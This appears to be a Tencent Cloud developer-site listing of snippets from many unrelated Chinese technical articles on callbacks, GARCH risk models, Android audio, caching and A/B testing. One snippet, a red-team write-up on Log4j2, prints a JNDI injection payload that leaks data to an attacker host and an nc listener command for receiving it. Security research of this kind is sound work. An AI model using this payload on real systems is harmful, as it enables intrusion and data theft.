- 综合排序
- 最热优先
- 最新优先
我们测了5款企业知识库，回召准确率差距超过30%
结果让人意外：回召准确率最高的92%，最低的只有58%，差距超过30个百分点。这不是“谁家营销话术更强”的问题，而是技术架构的硬差距。 2.2 评估指标核心指标：回召准确率（Recall@3 Accuracy）Top 3检索结果中包含期望答案来源文档的比例为什么用Recall@3而不是Recall@1？ 10pt;font-style:normal;font-weight:normal;vertical-align:middle;word-break:normal;word-wrap:normal;}产品回召准确率 最低58%意味着：用户提10个问题，有4个在前3条结果里找不到正确答案。3.2 按问题类型拆解<! 六、写在最后回召准确率相差30%，背后不是“营销话术”的差距，而是技术架构的硬差距。我们测了才知道，有些产品在文档解析阶段就开始丢信息，有些产品连最基础的混合检索都没做。
19410编辑于 2026-05-20- 来自专栏Android开发指南
4.TableLayout、回调接口
interface IOnCursorChangedListener{ void onCursorChanged(int token, Object cookie, Cursor cursor); } } //回调接口写法 ：这样就把adapter有回传回来了 MyQueryHandler myQueryHandler = new MyQueryHandler(getContentResolver()); myQueryHandler.setOnCursorChangedListener (new MyQueryHandler.IOnCursorChangedListener() { @Override /** * 当adapter 获得 cursor 的时候，回调此方法 public MyListAdapter(Context context, Cursor c) { super(context, c); } @Override /** * 当内容发生改变的时候，回调此方法
1.6K120发布于 2018-05-14 - 来自专栏分布式系统和大数据处理
.Net Remoting(远程方法回调) - Part.4
.Net Remoting(远程方法回调) - Part.4 2008-8-22 作者: 张子阳 分类: .Net 框架 Remoting中的方法回调 远程回调方式说明 远程方法回调通常有两种方式 此时，需要注意这样几个问题： 因为不能通过对象引用访问静态方法（属性），所以无法对静态方法（属性）进行回调。 由于将客户端进行回调的逻辑抽象成为了一个独立的对象，此时客户端的构成就类似于前面所讲述的服务端。 注意这三个方法均由客户端调用，但是方法内部又回调了调用它们的客户对象。 阶段是最关键的一步，在客户端通过代理调用InvokeClient()时，将client对象以传引用封送的方式传递了过去，我们前面说过，在传引用封送时，它还包括了这个对象的位置，也就是client对象的位置和端口号；第4步时
1.1K20发布于 2018-09-30 - 来自专栏贾志刚-OpenCV学堂
OpenVINO2023异步回调流水线提升推理吞吐率
同时支持创建多个Requst然后基于多个Requst实现流水线方式的推理从而提升CPU推理的吞吐率。 其中同步推理： // 前处理 // 开启同步 request.infer(); // 后处理 运行结果如下： 异步模式推理流程 当使用OpenVINO2023提供的Request对象的回调功能以后，我们可以把模型的后处理直接放到回调中去 for (int i = 0; i < det_output.rows; i++) { float confidence = det_output.at<float>(i, 4)
1.2K31编辑于 2023-11-21 - 来自专栏音视频技术修炼手册
视频帧率和刷新率，是一回事吗？
4）帧率和刷新率，是一回事吗？5）主流插帧算法之光流法，又是什么？什么是视频插帧？ 一些视频压缩的方法就是在发送端只传输一些关键帧，在接收端接收到这些关键帧后通过算法来合成其他帧，这样可以有效减少传输的通信带宽；3）生成慢动作视频，同时也可以使用插帧生成的慢动作序列来合成一些运动模糊；4） 帧率和刷新率，是一回事吗？帧率，是1秒时间内传输的图片的帧数，也可以理解为图形处理器（GPU）每秒钟能够渲染出新图像的次数，通常用FPS表示。 帧数和刷新率之间的关系在于，刷新率决定了屏幕能展示的帧率的上限，比如120帧率的画面在60Hz的屏幕上，最终显示效果最高也只有60帧每秒。 所以高于刷新率的帧数都是无效的，许多游戏所具备的垂直同步选项就是起到强制游戏帧数不超过刷新率的作用。主流插帧算法之光流法，又是什么？
2K10编辑于 2024-11-12 - 来自专栏拓端tecdat
R语言用GARCH模型波动率建模和预测、回测风险价值 (VaR)分析股市收益率时间序列
1% 风险价值 将价格转换为收益 library(ggplot2) # 计算收益率的正态密度 # 价格与收益的关系 bp2 = Close # 转换收益率 bret = dailyReturn # 使用 GARCH 进行波动率建模和预测 广义自回归条件异方差 (GARCH) 模型 ，用于预测条件波动率的最流行的时间序列模型。 这些模型是条件异方差的，因为它们考虑了时间序列中的条件方差。 # 注意绘图方法提供了四张图，其中VaR为选项-4 # 预测1%的学生-t GARCH风险值 plot(v.t, which = 4, VRaha = 0.01) # 5%学生-t GARCH风险值 plot (var.t, which = 4, Vaalha = 0.05) 图：实际收益率与 1% VaR 预测 最后获得回测 # VaR预测的回测 report(va., VaRha = 0.05) # α的默认值是0.01 ---- 本文选自《R语言用GARCH模型波动率建模和预测、回测风险价值 (VaR)分析股市收益率时间序列》。
3.5K20编辑于 2022-06-08 - 来自专栏媒矿工厂
4K4D：对4K分辨率实现实时4D视角合成
作者：Zhen Xu, Sida Peng 等 来源：ArXiv 2023 论文题目：4K4D: Real-Time 4D View synthesis at 4K Resolution 论文链接：https 尽管动态视图的合成结果令人印象深刻，但现有的方法通常由于昂贵的网络评估过程需要几秒钟甚至几分钟才能以 1080p 的分辨率渲染图像。 图2 在 DNA-Rendering 数据集上的定性比较：分辨率为 1024\times 1224 （以及 1125\times 1536 ） 图3 在 DNA-Rendering 数据集上的定量比较 ：分辨率为 1024\times 1224 （以及 1125\times 1536 ） 可以看出 4K4D 在渲染质量和渲染效率方面都有明显的优势。 图4 在 Neural3DV 数据集上的定性比较：分辨率为 1352\times 1224 图5 在 Neural3DV 数据集上的定量比较：分辨率为 1352\times 1224 消融实验 消融实验在
1.5K60编辑于 2023-11-02 - 来自专栏Java爬坑系列
【Java入门提高篇】Day4 Java中的回调
这次我们来谈一谈Java里的一个很有意思的东西——回调。 什么叫回调，一本正经的来讲，在计算机程序设计中，回调函数是指通过函数参数传递到其它代码的，某一块可执行代码的引用。 这个例子包含了异步+回调的思想，员工做完任务后向老板报告这个过程，就叫回调，当然，报告的话，老板肯定先跟员工说好了报告方式，比如说邮件，电话等，而交代报告方式，就是注册回调函数，这里的回调函数必须符合接口的规范 获得第"+index+"名"); if (index <= 3){ //给前三名发奖金 worker.getReward(1000.0*(4- 程序执行结果如下： Employee[0] is doing works:Say Hello Employee[4] is doing works:Say Hello Employee[3] is doing Employee[1]获得第4名 Employee[0]获得第5名 Employee[5]获得第6名 Employee[4]获得第7名 Employee[8]获得第8名 Employee[6]获得第9名
847120发布于 2018-01-09 - 来自专栏Ryan Miao
使用dropwizard(4)-加入测试-jacoco代码覆盖率
Demo source https://github.com/Ryan-Miao/l4dropwizard 本文是基于dropwizard入门之上的演进。 assertEquals(name, githubUser.getName()); verify(service).getUserProfile("ryan-miao"); } } 验收，查看覆盖率 mvn clean install 查看jacoco覆盖率 report在target/site/jacoco/index.html
1.7K80发布于 2018-03-14 - 来自专栏机器视觉CV
【多目标跟踪】Metric？那些你应该了解的MOT评价指标！
这三项依次表示缺失率（ ）、误判率（ ）和误配率（ ） MOTA 主要考虑的是 tracking 中所有对象匹配错误，主要是 FP、FN、IDs、MOTA 给出的是非常直观的衡量跟踪其在检测物体和保持轨迹时的性能 IDTP、IDFP 分别代表真正 ID 数和假正 ID 数，类似于混淆矩阵中的 P，只不过现在是计算 ID 的识别精确度 IDR：识别回召率 (Identification Recall) 是指每个行人框中行人 ID 识别的回召率 其中 IDFN 是假负 ID 数。
7.3K10发布于 2020-07-23 - 来自专栏红蓝对抗
浅谈Log4j2信息泄露与不出网回显
DNS协议是属于JNDI协议的，所以我们也可以利用DNS协议来带一些信息 使用logg.error(" 在自己的VPS上nc -luvvp 8090即可收到信息（参考木头师傅图片） 0x05 不出网回显 很多群都在讨论Log4j2不出网的利用，主要参考浅蓝师傅给出的思路 这是一种报错回显，在log整体流程中有下面这样一部，具体流程参考Log4j2分析文章 在tryCallAppender方法中catch /path 其中port本该是int如果给它无法转int的字符串就会抛出这里的信息 又联想到${}是支持嵌套标签的，这里嵌入真正想要得到的结果，即可抛出执行结果 根据这个思路，成功在Tomcat项目中回显执行结果 （例如这里的${java:version}） 能够回显的Payload是这样：${jndi:ldap://x.x.x.x:${java:version}/xxx} 浅蓝师傅的思路是来自于端口字符串强转 再Tomcat中使用Log4j2的配置文件需要修改web.xml <listener> <listener-class>org.apache.logging.log4j.web.Log4jServletContextListener
3.9K10编辑于 2022-06-30 - 来自专栏韩曙亮的移动开发专栏
【Android 高性能音频】AAudio 音频流 数据回调细节 ( 数据回调函数优先级 | 数据回调函数 | 采样率 | 采样数 | 缓冲区调整 | 线程不安全 )
数据回调函数优先级 II . 数据回调函数 相关内容 III . 采样率 处理细节 IV . 数据回调函数 每次 采样个数 numFrames V . 采样率获取 : 如果不设置采样率 , 那么使用默认的采样率 , 该默认采样率通过调用 AAudioStream_getSampleRate () 方法获得 ; 4 . 个样本 , 如果是立体声 , 每帧有 2 个样本 ; ③ 每个样本字节数 : AAUDIO_FORMAT_PCM_I16 每个样本 2 字节 , AAUDIO_FORMAT_PCM_FLOAT 每个样本 4 动态修改 : 上述两个需求相互冲突 , 就必须在二者之间找到平衡 , 在不出现播放异常的情况下 , 找到能够在当前性能下容错的最小缓冲区 , 该值要随着系统环境变化而动态修改 ; 4 . AAudioStream_waitForStateChange() 操作会造成线程阻塞 , 禁止在不同线程中调用该方法 ; ② 读写操作 : 禁止在 不同线程中 读写同一个 AAudio 音频流 ; 4
1.8K10编辑于 2023-03-27 - 来自专栏拓端tecdat
R语言用GARCH模型波动率建模和预测、回测风险价值 (VaR)分析股市收益率时间序列|附代码数据
使用 GARCH 进行波动率建模和预测 广义自回归条件异方差 (GARCH) 模型 ，用于预测条件波动率的最流行的时间序列模型。 这些模型是条件异方差的，因为它们考虑了时间序列中的条件方差。 # 注意绘图方法提供了四张图，其中VaR为选项-4 # 预测1%的学生-t GARCH风险值 plot(v.t, which = 4, VRaha = 0.01) # 5%学生-t GARCH风险值 plot (var.t, which = 4, Vaalha = 0.05) 图：实际收益率与 1% VaR 预测 最后获得回测 # VaR预测的回测 report(va., VaRha = 0.05) # 本文选自《R语言用GARCH模型波动率建模和预测、回测风险价值 (VaR)分析股市收益率时间序列》。 在股票市场预测应用 时间序列分析模型：ARIMA-ARCH / GARCH模型分析股票价格 R语言风险价值：ARIMA，GARCH，Delta-normal法滚动估计VaR（Value at Risk）和回测分析股票数据
1.7K00编辑于 2023-02-23 0基础深入理解指针（4） 回调函数 qsort函数使用
回调函数是什么？ 回调函数就是⼀个通过函数指针调⽤的函数。 如果你把函数的指针（地址）作为参数传递给另⼀个函数，当这个指针被⽤来调⽤其所指向的函数 时，被调⽤的函数就是回调函数。 回调函数不是由该函数的实现⽅直接调⽤，⽽是在特定的事件或条件发⽣时由另外的⼀⽅调⽤的，⽤于对该事件或条件进⾏响应。 在上一篇文章中的计算器就使用了回调函数如下：0基础深入理解指针（3） https://mp.csdn.net/mp_blog/creation/editor/137971324 qsort函数的使用 const void * p2) { return (*( int *)p1 - *(int *) p2); } int main() { int arr[] = { 1, 3, 5, 7, 9, 2, 4, *size, (char *)base + (j + 1)*size, size); } } } } int main() { int arr[] = { 1, 3, 5, 7, 9, 2, 4,
20710编辑于 2025-12-30- 来自专栏拓端tecdat
R语言用GARCH模型波动率建模和预测、回测风险价值 (VaR)分析股市收益率时间序列|附代码数据
1% 风险价值 将价格转换为收益 library(ggplot2) # 计算收益率的正态密度 # 价格与收益的关系 bp2 = Close # 转换收益率 bret = dailyReturn # 使用 GARCH 进行波动率建模和预测 广义自回归条件异方差 (GARCH) 模型 ，用于预测条件波动率的最流行的时间序列模型。 这些模型是条件异方差的，因为它们考虑了时间序列中的条件方差。 # 注意绘图方法提供了四张图，其中VaR为选项-4 # 预测1%的学生-t GARCH风险值 plot(v.t, which = 4, VRaha = 0.01) # 5%学生-t GARCH风险值 plot (var.t, which = 4, Vaalha = 0.05) 图：实际收益率与 1% VaR 预测 最后获得回测 # VaR预测的回测 report(va., VaRha = 0.05) # α的默认值是0.01 本文选自《R语言用GARCH模型波动率建模和预测、回测风险价值 (VaR)分析股市收益率时间序列》。
1.3K10编辑于 2023-02-15 - 来自专栏SpringCloud专栏
4 springboot项目集成使用disconf，配置文件更新及回调
然后还有一个重要的功能就是回调，当这些无论是配置项还是配置文件更新后，不仅仅会更新对应的属性值，还会触发一个回调方法，来供客户端监听。 譬如当数据库的配置文件更新后，我需要在回调里做一些重新连接等等事情，那么就需要来监听对应的配置文件更改事件。 那么当配置文件或配置项发生变化时，就会回调该类的reload方法。 使用起来也很简单，自行测试即可。
1.8K20发布于 2019-01-17 - 来自专栏拓端tecdat
R语言用GARCH模型波动率建模和预测、回测风险价值 (VaR)分析股市收益率时间序列|附代码数据
使用 GARCH 进行波动率建模和预测广义自回归条件异方差 (GARCH) 模型 ，用于预测条件波动率的最流行的时间序列模型。这些模型是条件异方差的，因为它们考虑了时间序列中的条件方差。 # 注意绘图方法提供了四张图，其中VaR为选项-4# 预测1%的学生-t GARCH风险值plot(v.t, which = 4, VRaha = 0.01)# 5%学生-t GARCH风险值plot( var.t, which = 4, Vaalha = 0.05)图：实际收益率与 1% VaR 预测最后获得回测# VaR预测的回测report(va., VaRha = 0.05) #α的默认值是0.01 本文选自《R语言用GARCH模型波动率建模和预测、回测风险价值 (VaR)分析股市收益率时间序列》。 在股票市场预测应用时间序列分析模型：ARIMA-ARCH / GARCH模型分析股票价格R语言风险价值：ARIMA，GARCH，Delta-normal法滚动估计VaR（Value at Risk）和回测分析股票数据
1.7K00编辑于 2023-11-08 腾讯云车云一体架构：基于EB级数据闭环的智能汽车迭代解决方案
、脱敏加密、降密 适配弱网环境、支持多种文件形态、CPU/GPU/NPU 广泛兼容 云基础设施 全球骨干网、智算算力 16EFLOPS 智算算力、EB级 存储规模 数据平台 多模态检索、向量数据库 准召率 数据万象（多模态检索）： 基于视觉-语言大模型，准召率 95%。 4. 客户案例：车端数据交互与云端研发提效 车端链路优化： 通过腾讯车端数据解决方案，车企实现了在弱网环境下的高效数据回传。
15100编辑于 2026-05-30- 来自专栏Java架构学习路线
4个影响缓存命中率的因素，你知道几个？
通常来讲，缓存的命中率越高则表示使用缓存的收益越高，应用的性能越好（响应时间越短、吞吐量越高），抗并发的能力越强。 由此可见，在高并发的互联网系统中，缓存的命中率是至关重要的指标。 三、影响缓存命中率的几个因素 1、业务场景和业务需求 缓存适合“读多写少”的业务场景，反之，使用缓存的意义其实并不大，命中率会很低。 业务需求决定了对时效性的要求，直接影响到缓存的过期时间和更新策略。 在相同key和相同请求数的情况下，缓存时间越长，命中率会越高。 互联网应用的大多数业务场景下都是很适合使用缓存的。 2、缓存的设计（粒度和策略） 通常情况下，缓存的粒度越小，命中率会越高。 这样更加灵活，缓存命中率会更高。 此外，缓存的更新/过期策略也直接影响到缓存的命中率。当数据发生变化时，直接更新缓存的值会比移除缓存（或者让缓存过期）的命中率更高，当然，系统复杂度也会更高。 4、其他因素 当缓存节点发生故障时，需要避免缓存失效并最大程度降低影响，这种特殊情况也是架构师需要考虑的。业内比较典型的做法就是通过一致性Hash算法，或者通过节点冗余的方式。
3.3K40发布于 2019-08-22 - 来自专栏GA小站
如何利用GA4进行AB测试提高转化率
虽然现在没有Google Optimize，但还是可以用GA4和GTM去做A/B测试。 ），就可以在GA4报告里使用该维度用于区分数据，看分组的表现情况。 这一步在GA4中启用自定义维度，使属性在报告中可见。 Step 4：AB测试数据报告 AB测试要监测不同版本的表现差异，你可以在GA4里生成报告，但我通常是分别将会话数、事件数下载下来，然后在Excel里计算点击率，再去对比： 组别 会话数 事件数 点击率 实验组A 4478 657 14.67% 对照组B 4534 540 11.91% 实验组A的点击率更高，胜出。
19510编辑于 2026-03-12
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号